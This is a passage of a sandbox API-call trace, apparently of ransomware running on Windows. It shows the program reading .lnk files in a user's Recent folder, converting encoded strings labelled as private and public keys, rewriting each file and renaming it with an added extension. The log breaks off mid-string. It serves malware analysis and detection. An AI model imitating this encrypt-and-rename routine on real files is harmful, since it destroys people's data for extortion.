ftCreationTime.dwLowDateTime=0xe150f7a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe150f7a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe150f7a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xeaf)) returned 1 [0084.867] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_HqTmD-7I2qdeb1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_hqtmd-7i2qdeb1.lnk")) returned 0x20 [0084.867] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_HqTmD-7I2qdeb1.lnk", dwFileAttributes=0x80) returned 1 [0084.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0084.870] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0084.871] GetCurrentThreadId () returned 0xa30 [0084.871] GetCurrentThreadId () returned 0xa30 [0084.871] GetCurrentThreadId () returned 0xa30 [0084.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0084.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0084.872] GetCurrentThreadId () returned 0xa30 [0084.872] GetCurrentThreadId () returned 0xa30 [0084.872] GetCurrentThreadId () returned 0xa30 [0084.872] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_HqTmD-7I2qdeb1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_hqtmd-7i2qdeb1.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.873] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0084.873] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.873] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0xeaf [0084.873] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0084.873] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0xeaf, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0xeaf, lpOverlapped=0x0) returned 1 [0084.875] CloseHandle (hObject=0x124) returned 1 [0084.875] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_HqTmD-7I2qdeb1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_hqtmd-7i2qdeb1.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0084.877] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0xeaf, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0xeaf, lpOverlapped=0x0) returned 1 [0084.879] CloseHandle (hObject=0x124) returned 1 [0084.880] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_HqTmD-7I2qdeb1.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_hqtmd-7i2qdeb1.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_HqTmD-7I2qdeb1.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_hqtmd-7i2qdeb1.lnk.zv7un")) returned 1 [0084.882] GetCurrentThreadId () returned 0xa30 [0084.882] GetCurrentThreadId () returned 0xa30 [0084.882] GetCurrentThreadId () returned 0xa30 [0084.882] GetCurrentThreadId () returned 0xa30 [0084.882] GetCurrentThreadId () returned 0xa30 [0084.882] GetCurrentThreadId () returned 0xa30 [0084.882] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ecc580, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ecc580, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ecc580, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="_sTXIMggYSPV.lnk", cAlternateFileName="_STXIM~1.LNK")) returned 1 [0084.882] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0084.882] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0084.882] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_sTXIMggYSPV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_stximggyspv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe2ecc580, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe2ecc580, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe2ecc580, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1a4f)) returned 1 [0084.882] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_sTXIMggYSPV.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\_stximggyspv.lnk")) returned 0x20 [0084.882] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\_sTXIMggYSPV.lnk", dwFileAttributes=0x80) returned 1 [0084.885] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew